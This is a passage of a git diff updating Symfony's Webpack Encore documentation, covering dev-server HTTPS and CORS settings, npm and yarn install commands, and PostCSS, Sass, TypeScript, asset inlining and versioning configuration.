-.. code-block:: diff
+    +     .configureDevServerOptions(options => {
+    +         options.https = {
+    +             pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +         }
+    +     })
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
-            ...
-        }
-    }
 
-If you experience issues related to CORS (Cross Origin Resource Sharing), add
-the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
-command in the ``package.json`` file:
+.. caution::
 
-.. code-block:: diff
+    Make sure to **not** pass the ``--https`` flag at the command line when
+    running ``encore dev-server``. This flag was required before 1.0, but now
+    will cause your config to be overridden.
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --port 8080 --disable-host-check",
-            ...
-        }
-    }
+CORS Issues
+-----------
 
-.. caution::
+If you experience issues related to CORS (Cross Origin Resource Sharing), set
+the following option:
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.allowedHosts = 'all';
+            // in older Webpack Dev Server versions, use this option instead:
+            // options.firewall = false;
+        })
+
+Beware that this is not a recommended security practice in general, but here
+it's required to solve the CORS issue.
+
+Hot Module Replacement HMR
+--------------------------
+
+Hot module replacement is a superpower of the ``dev-server`` where styles and
+(in some cases) JavaScript can automatically update without needing to reload
+your page. HMR works automatically with CSS (as long as you're using the
+``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript
+(like :doc:`Vue.js </frontend/encore/vuejs>`).
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
-    here it's required to solve the CORS issue.
+.. versionadded:: 1.0.0
 
+    Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line
+    to enable HMR. You also needed to disable CSS extraction to enable HMR for
+    CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`HMR`: https://webpack.js.org/concepts/hot-module-replacement/
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index c6c6d86c257..4fbace849f4 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include:
     # whatever path you're passing to Encore.setOutputPath()
     /public/build
 
-You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock``.
+You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock`` or ``package-lock.json``.
 
 My App Lives under a Subdirectory
 ---------------------------------
@@ -63,11 +63,11 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .setOutputPath('public/build/')
+          .setOutputPath('public/build/')
 
     -     .setPublicPath('/build')
     +     // this is your *true* public path
@@ -76,7 +76,7 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
     +     // this is now needed so that your manifest.json keys are still `build/foo.js`
     +     // (which is a file that's used by Symfony's `asset()` function)
     +     .setManifestKeyPrefix('build')
-    ;
+      ;
 
 If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
 Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
@@ -105,8 +105,9 @@ file script tag is rendered automatically.
 This dependency was not found: some-module in ./path/to/file.js
 ---------------------------------------------------------------
 
-Usually, after you install a package via yarn, you can require / import it to use
-it. For example, after running ``yarn add respond.js``, you try to require that module:
+Usually, after you install a package via yarn or npm, you can require / import
+it to use it. For example, after running ``yarn add respond.js`` or ``npm install respond.js``,
+you try to require that module:
 
 .. code-block:: javascript
 
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 8241dbcd0b2..2452dbeacae 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -1,7 +1,10 @@
 Installing Encore
 =================
 
-First, make sure you `install Node.js`_ and also the `Yarn package manager`_.
+First, make sure you `install Node.js`_. Optionally you can also install the
+`Yarn package manager`_. In the next sections you will always see the commands
+for both ``npm`` and ``yarn``, but you only need to run one of them.
+
 The following instructions depend on whether you are installing Encore in a
 Symfony application or not.
 
@@ -14,8 +17,13 @@ project:
 .. code-block:: terminal
 
     $ composer require symfony/webpack-encore-bundle
+
+    # if you use the Yarn package manager
     $ yarn install
 
+    # if you use the npm package manager
+    $ npm install
+
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
 the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a
 ``webpack.config.js`` file, and add ``node_modules/`` to ``.gitignore``. You can
@@ -32,9 +40,10 @@ Install Encore into your project via Yarn:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn add @symfony/webpack-encore --dev
 
-    # if you prefer npm, run this command instead:
+    # if you use the npm package manager
     $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
@@ -54,7 +63,7 @@ is the main config file for both Webpack and Webpack Encore:
 
 .. code-block:: javascript
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // Manually configure the runtime environment if not already configured yet by the "encore" command.
     // It's useful when you use tools that rely on webpack.config.js file.
@@ -143,9 +152,9 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code
      */
 
     // any CSS you import will output into a single css file (app.css in this case)
-    import '../css/app.css';
+    import './styles/app.css';
 
-    // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
+    // Need jQuery? Install it with "yarn add jquery"(or "npm install jquery"), then uncomment to import it.
     // import $ from 'jquery';
 
     console.log('Hello Webpack Encore! Edit me in assets/app.js');
diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 4f1193d7e06..8bad142104c 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -32,10 +32,11 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
     +     .autoProvidejQuery()
-    ;
+      ;
 
 After restarting Encore, Webpack will look for all uninitialized ``$`` and ``jQuery``
 variables and automatically require ``jquery`` and set those variables for you.
@@ -74,8 +75,10 @@ page, add:
 
 .. code-block:: diff
 
-    // require jQuery normally
-    const $ = require('jquery');
+      // app.js
+
+      // require jQuery normally
+      const $ = require('jquery');
 
     + // create global $ and jQuery variables
     + global.$ = global.jQuery = $;
@@ -84,3 +87,19 @@ The ``global`` variable is a special way of setting things in the ``window``
 variable. In a web context, using ``global`` and ``window`` are equivalent,
 except that ``window.jQuery`` won't work when using ``autoProvidejQuery()``.
 In other words, use ``global``.
+
+Additionally, be sure to set the ``script_attributes.defer`` option to ``false``
+in your ``webpack_encore.yaml`` file:
+
+.. code-block:: yaml
+
+    # config/packages/webpack_encore.yaml
+    webpack_encore:
+        # ...
+        script_attributes:
+            defer: false
+
+This will make sure there is *not* a ``defer`` attribute on your ``script``
+tags. For more information, see `Moving <script> inside <head> and the "defer" Attribute`_
+
+.. _`Moving <script> inside <head> and the "defer" Attribute`: https://symfony.com/blog/moving-script-inside-head-and-the-defer-attribute
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 76c6e8d67e9..40b2dc43923 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -4,11 +4,30 @@ PostCSS and autoprefixing (postcss-loader)
 `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot
 of cool ways, like `autoprefixing`_, `linting`_ and more!
 
-First, download ``postcss-loader`` and any plugins you want, like ``autoprefixer``:
+First enable it in ``webpack.config.js``:
+
+.. code-block:: diff
+
+      // webpack.config.js
+
+      Encore
+          // ...
+    +     .enablePostCssLoader()
+      ;
+
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
+Next, download any plugins you want, like ``autoprefixer``:
 
 .. code-block:: terminal
 
-    $ yarn add postcss-loader autoprefixer --dev
+    # if you use the Yarn package manager
+    $ yarn add autoprefixer --dev
+
+    # if you use the npm package manager
+    $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
@@ -24,35 +43,23 @@ Next, create a ``postcss.config.js`` file at the root of your project:
         }
     }
 
-Then, enable the loader in Encore!
-
-.. code-block:: diff
-
-    // webpack.config.js
-
-    Encore
-        // ...
-    +     .enablePostCssLoader()
-    ;
-
-Because you just modified ``webpack.config.js``, stop and restart Encore.
-
 That's it! The ``postcss-loader`` will now be used for all CSS, Sass, etc files.
 You can also pass options to the `postcss-loader`_ by passing a callback:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
+    + const path = require('path');
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enablePostCssLoader((options) => {
-    +         options.config = {
+    +         options.postcssOptions = {
     +             // the directory where the postcss.config.js file is stored
-    +             path: 'path/to/config'
+    +             config: path.resolve(__dirname, 'sub-dir', 'custom.config.js'),
     +         };
     +     })
-    ;
+      ;
 
 .. _browserslist_package_config:
 
@@ -65,25 +72,25 @@ support. The best-practice is to configure this directly in your ``package.json`
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "defaults"
     +  ]
-    }
+      }
 
 The ``defaults`` option is recommended for most users and would be equivalent
 to the following browserslist:
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "> 0.5%",
     +    "last 2 versions",
     +    "Firefox ESR",
     +    "not dead"
     +  ]
-    }
+      }
 
 See `browserslist`_ for more details on the syntax.
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index ca3b017f13b..96f45a09f5b 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -10,20 +10,23 @@ Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
 
-    $ yarn add @babel/preset-react --dev
+    # if you use the Yarn package manager
     $ yarn add react react-dom prop-types
 
+    # if you use the npm package manager
+    $ npm install react react-dom prop-types --save
+
 Enable react in your ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enableReactPreset()
-    ;
+      ;
 
 
 Then restart Encore. When you do, it will give you a command you can run to
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
deleted file mode 100644
index a2c2d08ea2a..00000000000
--- a/frontend/encore/shared-entry.rst
+++ /dev/null
@@ -1,42 +0,0 @@
-Creating a Shared Commons Entry
-===============================
-
-.. caution::
-
-    While this method still works, see :doc:`/frontend/encore/split-chunks` for
-    the preferred solution to sharing assets between multiple entry files.
-
-Suppose you have multiple entry files and *each* requires ``jquery``. In this
-case, *each* output file will contain jQuery, slowing down your user's experience.
-To solve this, you can *extract* the common libraries to a "shared" entry file
-that's included on every page.
-
-Suppose you already have an entry called ``app`` that's included on every page.
-Update your code to use ``createSharedEntry()``:
-
-.. code-block:: diff
-
-    Encore
-        // ...
-    -     .addEntry('app', './assets/app.js')
-    +     .createSharedEntry('app', './assets/app.js')
-        .addEntry('homepage', './assets/homepage.js')
-        .addEntry('blog', './assets/blog.js')
-        .addEntry('store', './assets/store.js')
-
-Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
-then ``jquery`` would be packaged into *both* files, which is wasteful. By making
-``app.js`` your "shared" entry, *any* code required by ``app.js`` (like jQuery) will
-*no longer* be packaged into any other files. The same is true for any CSS.
-
-Because ``app.js`` contains all the common code that other entry files depend on,
-its script (and link) tag must be on every page.
-
-.. tip::
-
-    The ``app.js`` file works best when its contents are changed *rarely*
-    and you're using :ref:`long-term caching <encore-long-term-caching>`. Why?
-    If ``app.js`` contains application code that *frequently* changes, then
-    (when using versioning), its filename hash will frequently change. This means
-    your users won't enjoy the benefits of long-term caching for this file (which
-    is generally quite large).
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3d38686ce05..bed5c73c865 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -17,9 +17,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
     // assets/app.js
     // ...
 
-    import '../css/app.css';
-
-    // var $ = require('jquery');
+    import './styles/app.css';
 
 Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
@@ -35,7 +33,7 @@ of your project. It already holds the basic config you need:
 .. code-block:: javascript
 
     // webpack.config.js
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     Encore
         // directory where compiled assets will be stored
@@ -57,23 +55,30 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 .. _encore-build-assets:
 
-To build the assets, run:
+To build the assets, run the following if you use the Yarn package manager:
 
 .. code-block:: terminal
 
     # compile assets once
     $ yarn encore dev
-    # if you prefer npm, run:
-    $ npm run dev
 
     # or, recompile assets automatically when files change
     $ yarn encore dev --watch
-    # if you prefer npm, run:
-    $ npm run watch
 
     # on deploy, create a production build
     $ yarn encore production
-    # if you prefer npm, run:
+
+If you use the npm package manager, run the following commands instead:
+
+.. code-block:: terminal
+
+    # compile assets once
+    $ npm run dev
+
+    # or, recompile assets automatically when files change
+    $ npm run watch
+
+    # on deploy, create a production build
     $ npm run build
 
 .. note::
@@ -104,18 +109,18 @@ can do most of the work for you:
                 <!-- Renders a link tag (if your module requires any CSS)
                      <link rel="stylesheet" href="/build/app.css"> -->
             {% endblock %}
-        </head>
-        <body>
-            <!-- ... -->
 
             {% block javascripts %}
                 {{ encore_entry_script_tags('app') }}
 
                 <!-- Renders app.js & a webpack runtime.js file
-                    <script src="/build/runtime.js"></script>
-                    <script src="/build/app.js"></script> -->
+                    <script src="/build/runtime.js" defer></script>
+                    <script src="/build/app.js" defer></script>
+                    See note below about the "defer" attribute -->
             {% endblock %}
-        </body>
+        </head>
+
+        <!-- ... -->
     </html>
 
 .. _encore-entrypointsjson-simple-description:
@@ -130,27 +135,32 @@ filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
+And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
+more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
 some optional features.
 
-.. versionadded:: 0.21.0
+.. versionadded:: 1.9.0
 
-    The ``encore_entry_link_tags()`` comes from WebpackEncoreBundle and relies
-    on a feature in Encore that was first introduced in version 0.21.0. Previously,
-    the ``asset()`` function was used to point directly to the file.
+    The ``defer`` attribute on the ``script`` tags delays the execution of the
+    JavaScript until the page loads (similar to putting the ``script`` at the
+    bottom of the page). The ability to always add this attribute was introduced
+    in WebpackEncoreBundle 1.9.0 and is automatically enabled in that bundle's
+    recipe in the ``config/packages/webpack_encore.yaml`` file. See
+    `WebpackEncoreBundle Configuration`_ for more details.
 
 Requiring JavaScript Modules
 ----------------------------
 
-Webpack is a module bundler, which means that you can ``require`` other JavaScript
+Webpack is a module bundler, which means that you can ``import`` other JavaScript
 files. First, create a file that exports a function:
 
 .. code-block:: javascript
 
     // assets/greet.js
-    module.exports = function(name) {
+    export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
 
@@ -158,21 +168,25 @@ We'll use jQuery to print this message on the page. Install it via:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn add jquery --dev
 
-Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
+    # if you use the npm package manager
+    $ npm install jquery --save-dev
+
+Great! Use ``import`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-    // assets/app.js
-    // ...
+      // assets/app.js
+      // ...
 
     + // loads the jquery package from node_modules
-    + var $ = require('jquery');
+    + import jquery from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file
-    + var greet = require('./greet');
+    + import greet from './greet';
 
     + $(document).ready(function() {
     +     $('body').prepend('<h1>'+greet('jill')+'</h1>');
@@ -182,37 +196,6 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
-The import and export Statements
---------------------------------
-
-Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript
-provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes
-the ability to use dynamic imports.
-
-To export values using the alternate syntax, use ``export``:
-
-.. code-block:: diff
-
-    // assets/greet.js
-    - module.exports = function(name) {
-    + export default function(name) {
-        return `Yo yo ${name} - welcome to Encore!`;
-    };
-
-To import values, use ``import``:
-
-.. code-block:: diff
-
-    // assets/app.js
-    - require('../css/app.css');
-    + import '../css/app.css';
-
-    - var $ = require('jquery');
-    + import $ from 'jquery';
-
-    - var greet = require('./greet');
-    + import greet from './greet';
-
 .. _multiple-javascript-entries:
 
 Page-Specific JavaScript or CSS (Multiple Entries)
@@ -237,20 +220,24 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
-        .addEntry('app', './assets/app.js')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('app', './assets/app.js')
     +     .addEntry('checkout', './assets/checkout.js')
     +     .addEntry('account', './assets/account.js')
-        // ...
+          // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
 
 .. code-block:: terminal
 
-    $ yarn run encore dev --watch
+    # if you use the Yarn package manager
+    $ yarn encore dev --watch
+
+    # if you use the npm package manager
+    $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
 in your build directory. And, if any of those files require/import CSS, Webpack
@@ -261,8 +248,8 @@ you need them:
 
 .. code-block:: diff
 
-    {# templates/.../checkout.html.twig #}
-    {% extends 'base.html.twig' %}
+      {# templates/.../checkout.html.twig #}
+      {% extends 'base.html.twig' %}
 
     + {% block stylesheets %}
     +     {{ parent() }}
@@ -291,37 +278,42 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-    // assets/app.js
-    - import '../css/app.css';
-    + import '../css/app.scss';
+      // assets/app.js
+    - import './styles/app.css';
+    + import './styles/app.scss';
 
 Then, tell Encore to enable the Sass pre-processor:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
     +    .enableSassLoader()
-    ;
+      ;
 
 Because you just changed your ``webpack.config.js`` file, you'll need to restart
 Encore. When you do, you'll see an error!
 
 .. code-block:: terminal
 
-    >   Error: Install sass-loader & node-sass to use enableSassLoader()
-    >     yarn add sass-loader@^8.0.0 node-sass --dev
+    >   Error: Install sass-loader & sass to use enableSassLoader()
+    >     yarn add sass-loader@^12.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    $ yarn add sass-loader@^8.0.0 node-sass --dev
+    # if you use the Yarn package manager
+    $ yarn add sass-loader@^12.0.0 sass --dev
     $ yarn encore dev --watch
 
+    # if you use the npm package manager
+    $ npm install sass-loader@^12.0.0 sass --save-dev
+    $ npm run watch
+
 Your app now supports Sass. Encore also supports LESS and Stylus. See
 :doc:`/frontend/encore/css-preprocessors`.
 
@@ -354,4 +346,4 @@ Encore supports many more features! For a full list of what you can do, see
 `Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`.
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
-.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
+.. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 0205537b7d0..7739b0a49c6 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -10,22 +10,24 @@ To enable this, call ``splitEntryChunks()``:
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        // multiple entry files, which probably import the same code
-        .addEntry('app', './assets/app.js')
-        .addEntry('homepage', './assets/homepage.js')
-        .addEntry('blog', './assets/blog.js')
-        .addEntry('store', './assets/store.js')
+          // multiple entry files, which probably import the same code
+          .addEntry('app', './assets/app.js')
+          .addEntry('homepage', './assets/homepage.js')
+          .addEntry('blog', './assets/blog.js')
+          .addEntry('store', './assets/store.js')
 
     +     .splitEntryChunks()
 
 
 Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file
-(e.g. ``homepage.js``, ``vendor~homepage.js``). This means that you *may* need to
-include *multiple* ``script`` tags (or ``link`` tags for CSS) in your template.
-Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
+(e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the
+filename of the second will be less obvious when you build for production). This
+means that you *may* need to include *multiple* ``script`` tags (or ``link`` tags
+for CSS) in your template. Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
 file that lists exactly which CSS and JavaScript files are needed for each entry.
 
 If you're using the ``encore_entry_link_tags()`` and ``encore_entry_script_tags()``
@@ -37,9 +39,9 @@ tags as needed:
 
     {#
         May now render multiple script tags:
-            <script src="/build/runtime.js"></script>
-            <script src="/build/vendor~homepage.js"></script>
-            <script src="/build/homepage.js"></script>
+            <script src="/build/runtime.js" defer></script>
+            <script src="/build/vendors-node_modules_jquery_dist_jquery_js.js" defer></script>
+            <script src="/build/homepage.js" defer></script>
     #}
     {{ encore_entry_script_tags('homepage') }}
 
@@ -52,10 +54,11 @@ this plugin with the ``configureSplitChunks()`` function:
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .splitEntryChunks()
+          .splitEntryChunks()
     +     .configureSplitChunks(function(splitChunks) {
     +         // change the configuration
     +         splitChunks.minSize = 0;
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index b1af45d9c04..103f1f0b293 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -5,20 +5,24 @@ Want to use `TypeScript`_? No problem! First, enable it:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
 
-    Encore
-        // ...
+      // ...
+      Encore
+          // ...
     +     .addEntry('main', './assets/main.ts')
 
     +     .enableTypeScriptLoader()
 
-        // optionally enable forked type script for faster builds
-        // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
-        // requires that you have a tsconfig.json file that is setup correctly.
+          // optionally enable forked type script for faster builds
+          // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
+          // requires that you have a tsconfig.json file that is setup correctly.
     +     //.enableForkedTypeScriptTypesChecking()
-    ;
+      ;
+
+Then create an empty ``tsconfig.json`` file with the contents ``{}`` in the project
+root folder (or in the folder where your TypeScript files are located; e.g. ``assets/``).
+In ``tsconfig.json`` you can define more options, as shown in `tsconfig.json reference`_.
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -30,9 +34,10 @@ method.
 
 .. code-block:: diff
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.ts')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('main', './assets/main.ts')
 
     -     .enableTypeScriptLoader()
     +     .enableTypeScriptLoader(function(tsConfig) {
@@ -42,8 +47,8 @@ method.
     +         // tsConfig.silent = false
     +     })
 
-            // ...
-    ;
+              // ...
+      ;
 
 See the `Encore's index.js file`_ for detailed documentation and check
 out the `tsconfig.json reference`_ and the `Webpack guide about Typescript`_.
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 976cd6974d8..5e89234f295 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,18 +1,11 @@
-Inlining files in CSS with Webpack URL Loader
-=============================================
+Inlining Images & Fonts in CSS
+==============================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the
 generated CSS files.
 
-Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
-it's disabled by default. First, add the URL loader to your project:
-
-.. code-block:: terminal
-
-    $ yarn add url-loader --dev
-
-Then enable it in your ``webpack.config.js``:
+You can enable this in ``webpack.config.js`` for images, fonts or both:
 
 .. code-block:: javascript
 
@@ -21,31 +14,19 @@ Then enable it in your ``webpack.config.js``:
 
     Encore
         // ...
-        .configureUrlLoader({
-            fonts: { limit: 4096 },
-            images: { limit: 4096 }
+        .configureImageRule({
+            // tell Webpack it should consider inlining
+            type: 'asset',
+            //maxSize: 4 * 1024, // 4 kb - the default is 8kb
         })
-    ;
-
-The ``limit`` option defines the maximum size in bytes of the inlined files. In
-the previous example, font and image files having a size below or equal to 4 KB
-will be inlined and the rest of files will be processed as usual.
-
-You can also use all the other options supported by the `URL Loader`_. If you
-want to disable this loader for either images or fonts, remove the corresponding
-key from the object that is passed to the ``configureUrlLoader()`` method:
-
-.. code-block:: javascript
-
-    // webpack.config.js
-    // ...
 
-    Encore
-        // ...
-        .configureUrlLoader({
-            // 'fonts' is not defined, so only images will be inlined
-            images: { limit: 4096 }
+        .configureFontRule({
+            type: 'asset',
+            //maxSize: 4 * 1024
         })
     ;
 
-.. _`URL Loader`: https://github.com/webpack-contrib/url-loader
+This leverages Webpack `Asset Modules`_. You can read more about this and the
+configuration there.
+
+.. _`Asset Modules`: https://webpack.js.org/guides/asset-modules/
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 1f3d0cdd39e..6fe8a8275cd 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -7,17 +7,17 @@ Tired of deploying and having browser's cache the old version of your assets?
 By calling ``enableVersioning()``, each filename will now include a hash that
 changes whenever the *contents* of that file change (e.g. ``app.123abc.js``
 instead of ``app.js``). This allows you to use aggressive caching strategies
-(e.g. a far future ``Expires``) because, whenever a file change, its hash will change,
+(e.g. a far future ``Expires``) because, whenever a file changes, its hash will change,
 ignoring any existing cache:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
 
-    Encore
-        .setOutputPath('public/build/')
-        // ...
+      // ...
+      Encore
+          .setOutputPath('public/build/')
+          // ...
     +     .enableVersioning()
 
 To link to these assets, Encore creates two files ``entrypoints.json`` and
@@ -28,11 +28,12 @@ To link to these assets, Encore creates two files ``entrypoints.json`` and
 Loading Assets from ``entrypoints.json`` & ``manifest.json``
 ------------------------------------------------------------
 
-Whenever you run Encore, two configuration files are generated: ``entrypoints.json``
+Whenever you run Encore, two configuration files are generated in your
+output folder (default location: ``public/build/``): ``entrypoints.json``
 and ``manifest.json``. Each file is similar, and contains a map to the final, versioned
-filename.
+filenames.
 
-The first file - ``entrypoints.json`` - is used by the ``encore_entry_script_tags()``
+The first file – ``entrypoints.json`` – is used by the ``encore_entry_script_tags()``
 and ``encore_entry_link_tags()`` Twig helpers. If you're using these, then your
 CSS and JavaScript files will render with the new, versioned filename. If you're
 not using Symfony, your app will need to read this file in a similar way.
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 068d5c8451f..23010b9f169 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -49,14 +49,14 @@ If your Symfony application is running on a custom domain (e.g.
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --public http://app.vm:8080",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 After restarting Encore and reloading your web page, you will probably see
 different issues in the web console:
@@ -78,14 +78,14 @@ connections:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server --public http://app.vm:8080",
     +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
@@ -96,26 +96,27 @@ Fix "Invalid Host header" Issue
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
-the dev-server. To fix this, add the argument ``--disable-host-check``:
+the dev-server. To fix this, set the ``firewall`` option:
 
-.. code-block:: diff
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-    +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check",
-            ...
-        }
-    }
+        .configureDevServerOptions(options => {
+            options.firewall = false;
+        })
 
 .. caution::
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
+    Beware that `it's not recommended to disable the firewall`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
 
